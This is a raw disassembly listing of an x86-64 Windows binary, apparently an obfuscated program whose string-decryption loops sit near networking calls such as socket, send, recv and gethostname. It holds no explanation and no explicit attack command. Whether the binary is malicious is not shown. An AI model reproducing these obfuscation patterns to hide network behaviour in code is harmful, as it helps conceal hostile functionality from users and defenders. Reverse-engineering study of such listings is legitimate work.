cmp r9, rax
je 0x1400bf33f
movzx r10d, bl
nop
cmp r8, rbx
ja 0x1400bf4c8
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x1400bea99
lea ecx, [r10 + 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x35
jmp 0x1400bead0
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400bf328
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400bf306
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400bf2ea
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400bf2ce
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400bf02b
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x1400bf00e
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400befe5
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x1400befc3
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x1400befa9
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x1400bef89
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400bef69
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x1400bef4f
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400bef33
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400bef02
lea rax, [r8 + 9]
cmp r9, rax
je 0x1400beae0
lea r9, [r8 + 0x5a]
lea r8, [r9 + 0x64]
lea rax, [r8 + 6]
cmp r9, rax
jb 0x1400bf4ac
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x1400bf490
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x1400becce
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400becb4
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x1400bec9a
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x1400beeb9
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400bee76
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400bee39
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x1400bee13
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x1400beae0
lea r9, [r8 + 0x10]
lea r8, [r9 + 1]
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x1400bede6
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x1400bedca
lea rax, [r8 + 6]
cmp r9, rax
ja 0x1400bedad
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x1400bed8d
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x1400bed71
lea rax, [r8 + 2]
cmp r9, rax
ja 0x1400bed55
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x1400bed2f
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x1400bed06
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x1400becea
lea rax, [r8 + 5]
cmp r9, rax
ja 0x1400beae0
lea r9, [r8 + 0x61]
lea r8, [r9 + 0x28]
jmp 0x1400beae0
lea ecx, [r10 - 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6b
jmp 0x1400bead0
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x29
jmp 0x1400bea70
sub r10b, 0x21
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x19
jmp 0x1400bea10
lea edx, [r10 - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x58
add dl, cl
jmp 0x1400bf358
add r10b, 0x16
movzx eax, r11b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r8
dec rbx
inc rbx
jmp 0x1400be9f3
add r10b, 0x44
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400be9f3
lea edx, [r10 + 0x72]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x1e
add dl, cl
jmp 0x1400bf39e
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x60
jmp 0x1400bf3c0
sub r10b, 0x32
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400bf3c3
lea edx, [r10 - 4]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bf3f8
add r10b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x26
jmp 0x1400bf423
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400be9f3
sub r10b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x73
mov byte [rbp + rbx + 0x2d8], dl
inc rbx
jmp 0x1400be9f3
lea ecx, [r10 - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x31
cmp r8, 0x200
jb 0x1400bee2a
lea ecx, [r10 - 0x2a]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400bf358
lea ecx, [r10 + 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x11
cmp r9, 6
jae 0x1400bf29c
lea rax, [r8 + 0x7a]
cmp r9, rax
jbe 0x1400bf1a0
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6e
jmp 0x1400bee4e
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x53
lea rax, [r8 + r9]
cmp rax, 0x1000
je 0x1400bf2b8
lea rax, [r8 + 0x20]
cmp r9, rax
jbe 0x1400bf129
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5d
jmp 0x1400bee8b
sub r10b, 0x52
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400be9f3
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
jmp 0x1400bf423
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x46
jmp 0x1400bf3f8
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bf3c3
add r10b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bf3c0
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xc
jmp 0x1400bf39e
sub r10b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4e
dec rbx
inc rbx
jmp 0x1400be9f3
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r8
dec rbx
inc rbx
jmp 0x1400be9f3
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bf358
lea rax, [r8 + 0x80]
cmp r9, rax
jae 0x1400bf051
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5f
jmp 0x1400beece
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400bf08b
add r10b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400be9f3
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400bf0ae
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x12
jmp 0x1400bf3f8
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400bf0d7
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bf3c3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400bf0fa
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4c
jmp 0x1400bf39e
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400beece
add r10b, 0x26
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xa
dec rbx
inc rbx
jmp 0x1400be9f3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400bf14c
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x61
jmp 0x1400bf358
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400bf177
sub r10b, 5
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x23
dec rbx
inc rbx
jmp 0x1400be9f3
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400bee8b
add r10b, 0x71
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x17
jmp 0x1400bf3c3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400bf1d6
add r10b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2c
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400be9f3
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400bf1fc
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bf3f8
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400bf221
sub r10b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x66
jmp 0x1400bf3c3
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400bf246
sub r10b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x24
jmp 0x1400bf3c0
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400bf275
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400be9f3
lea rax, [r8 + 8]
cmp r9, rax
jne 0x1400bee4e
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1c
jmp 0x1400bf358
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x34
add cl, cl
add dl, cl
jmp 0x1400bf39e
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x56]
jmp 0x1400bf3f8
add r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3f
jmp 0x1400bf3c3
add r10b, 0x37
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x7f
jmp 0x1400bf3c0
sub r10b, 0x6d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 5
dec rbx
inc rbx
jmp 0x1400be9f3
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x77
jmp 0x1400bf358
movzx r10d, bl
lea ecx, [r10 + 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xd
sub r10b, 0x41
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x39
add r11b, r10b
mov byte [rbp + rbx + 0x2d8], r11b
inc r8
dec rbx
inc rbx
jmp 0x1400be9f3
movzx r10d, bl
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x2d
sub r10b, 0x6f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 9
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x2d8], r11b
add r9, r8
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400be9f3
lea rcx, [rbx + 0x8095f]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
add dl, 0x67
add dl, cl
movzx r10d, bl
add r10b, 0x63
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x4b
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x2d8], al
inc r8
add rax, r8
sub rbx, rax
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x14
add cl, r11b
mov byte [rbp + rbx + 0x2d8], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400be9f3
lea rax, [rbx + 0x371bb]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x1d
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400be9f3
add r10b, 0xd
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x5b
jmp 0x1400be9f0
add r10b, 0x3b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x63
jmp 0x1400be9e0
lea rdx, [rbp + 0x1457b64]
jmp 0x1400bf4e1
lea rdx, [rbp + 0x106a14d]
jmp 0x1400bf4e1
lea rdx, [rbp + 0x2d8]
mov rcx, qword [0x14022c178]
call fcn.1400c79c0
mov rsi, qword [0x14022c178]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x4c0], 0xdb
mov byte [rbp + 0x4c1], 0xe5
mov byte [rbp + 0x4c2], 0xe1
mov byte [rbp + 0x4c3], 0xee
mov byte [rbp + 0x4c4], 0xf9
mov byte [rbp + 0x4c5], 0xeb
mov byte [rbp + 0x4c6], 0xf5
mov byte [rbp + 0x4c7], 0x3f
mov byte [rbp + 0x4c8], 0xf3
mov byte [rbp + 0x4c9], 0xe8
mov byte [rbp + 0x4ca], 0xee
mov byte [rbp + 0x4cb], 0xe6
mov byte [rbp + 0x4cc], 0xeb
mov byte [rbp + 0x4cd], Ordinal_211
mov byte [rbp + 0x4ce], 0xcb
mov byte [rbp + 0x4cf], 7
mov byte [rbp + 0x4d0], Ordinal_211
mov byte [rbp + 0x4d1], Ordinal_217
mov byte [rbp + 0x4d2], 0
mov byte [rbp + 0x4d3], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x4d4], 2
mov byte [rbp + 0x4d5], Ordinal_211
mov byte [rbp + 0x4d6], Ordinal_200
mov byte [rbp + 0x4d7], Ordinal_200
mov byte [rbp + 0x4d8], 0xdf
mov byte [rbp + 0x4d9], 0xdf
mov byte [rbp + 0x4da], Ordinal_200
mov byte [rbp + 0x4db], Ordinal_217
mov byte [rbp + 0x4dc], Ordinal_30
mov byte [rbp + 0x4dd], 3
mov byte [rbp + 0x4de], 2
mov byte [rbp + 0x4df], 0x3d
mov byte [rbp + 0x4e0], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4e1], xmm0
movups xmmword [rbp + 0x4f1], xmm0
mov word [rbp + 0x501], ax
movabs r14, 0xb4920f1f7bc9fcd3
movabs r15, 0x1db62d5e735df679
movzx r8d, byte [rsp + 0x31]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov rbx, r13
cmp rbx, 0x43
jae 0x1400c01f2
movzx r11d, byte [rbp + rbx + 0x4c0]
mov edi, r11d
nop dword [rax]
cmp rax, rbx
ja 0x1400c01e9
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400bf68c
lea rdx, [rbx + r14]
mov rcx, rdx
and rcx, rdi
imul r8, rcx, 0xfffffffffffffffe
add r8, rdx
add r8, rdi
add r8b, 0x3b
jmp 0x1400bf6b9
je 0x1400c017b
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400c014a
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c010c
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400c00ec
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400c01e0
lea rcx, [r9 + 8]
cmp rax, rcx
jae 0x1400bf6ea
lea edx, [r10 + 0x4f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x29
jmp 0x1400bf750
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400c00a9
inc rcx
cmp rax, rcx
je 0x1400c0083
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400c0060
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c0043
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400bffbe
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400bffa4
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400bff76
nop dword [rax]
nop dword [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1400bfcc2
nop dword [rax]
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400bfca3
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x1400bfc7d
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x1400bfc56
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x1400bfc3b
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1400bfc1a
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400bfbfd
lea rcx, [r9 + 0x1000]
cmp rax, rcx
je 0x1400bfbde
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400bfbc1
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1400bfb8f
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400bf760
lea rax, [r9 + 9]
lea r9, [rax + 8]
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x1400c01c3
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x1400c01a6
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x1400bf946
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x1400bf92b
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1400bf910
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x1400bfb43
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1400bfafe
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x1400bfabe
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x1400bfa96
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1400bf760
lea rax, [r9 + 0x7a]
lea r9, [rax + 0x61]
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x1400bfa64
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x1400bfa43
lea rdx, [r9 + 2]
cmp rax, rdx
ja 0x1400bfa28
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1400bfa07
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x1400bf9ea
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x1400bf9cb
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x1400bf9a8
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1400bf97e
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1400bf963
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x1400bf760
mov rax, rdx
lea r9, [rdx + 0x10]
jmp 0x1400bf760
lea edx, [r10 - 0x6f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 9
jmp 0x1400bf750
lea edx, [r10 - 0x15]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x6d
jmp 0x1400bf6c0
add r10b, 0x45
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x1d
jmp 0x1400bf660
lea edx, [r10 + 0x78]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x48
jmp 0x1400c00bf
sub r10b, 0x2e
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_33
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bf643
add r10b, 0x2c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x34
dec rbx
inc rbx
jmp 0x1400bf643
lea r8d, [r10 - 0x7a]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_45
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c0125
sub r10b, 0x20
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x20
jmp 0x1400c015f
add r10b, 0x3a
movzx ecx, r10b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c0162
lea edx, [r10 - 0x6c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0xc
jmp 0x1400bffd4
sub r10b, 0x12
movzx ecx, r10b
and cl, r11b
mov edx, 0x3f
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c0000
add r10b, 0x48
movzx ecx, r10b
and cl, r11b
mov edx, 4
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x4c0]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400bf643
add r10b, 0x29
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x1f
mov byte [rbp + rbx + 0x4c0], r8b
inc rbx
jmp 0x1400bf643
lea edx, [r10 - 0x7d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x6b
cmp r9, 0x42
jb 0x1400bfaae
lea edx, [r10 + 0x12]
movzx ecx, dl
and cl, r11b
mov r8d, 1
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r11b
add r8b, r8b
jmp 0x1400c00bf
lea edx, [r10 - 0x23]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0xb
cmp rax, 0x2a
jae 0x1400bff3f
lea rcx, [r9 + 9]
cmp rax, rcx
jbe 0x1400bfe5a
lea edx, [r10 - 0x6a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x1a
jmp 0x1400bfad4
lea edx, [r10 + 0x37]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x7f
lea rcx, [r9 + rax]
cmp rcx, 0x20
je 0x1400bff5d
lea rcx, [r9 + 0x400]
cmp rax, rcx
jbe 0x1400bfdc4
lea edx, [r10 + 0x47]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0xf
jmp 0x1400bfb14
sub r10b, 0x26
movzx ecx, r10b
and cl, r11b
mov edx, 5
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x4c0]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400bf643
add r10b, 0x34
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x6c
jmp 0x1400c0000
lea r8d, [r10 - 0x72]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400bffd4
sub r10b, 0x18
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x58
jmp 0x1400c0162
add r10b, 0x42
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_26
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c015f
lea edx, [r10 - 0x64]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x44
jmp 0x1400c0125
sub r10b, 0xa
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x1400bf643
add r10b, 0x50
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400bf643
lea r8d, [r10 - 0x56]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c00bf
lea rcx, [r9 + 0x40]
cmp rax, rcx
jae 0x1400bfce6
lea edx, [r10 - 0x2d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x3b
jmp 0x1400bfb59
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400bfd1d
sub r10b, 0x62
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x52
movzx ecx, byte [rbp + rbx + 0x4c0]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400bf643
inc rcx
cmp rax, rcx
jne 0x1400bfd46
add r10b, 0x44
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c0000
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400bfd6a
lea edx, [r10 - 0x16]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x66
jmp 0x1400bffd4
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400bfd90
add r10b, 0x36
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x7a
jmp 0x1400c015f
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400bfb59
sub r10b, 0x7e
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x1400bf643
lea rdx, [r9 + 1]
cmp rax, rdx
jne 0x1400bfde8
lea edx, [r10 - 0x13]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x7b
jmp 0x1400c00bf
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400bfe0c
lea edx, [r10 - 0x21]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x19
jmp 0x1400c0125
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400bfe32
add r10b, 0x2b
movzx ecx, r10b
and cl, r11b
add cl, cl
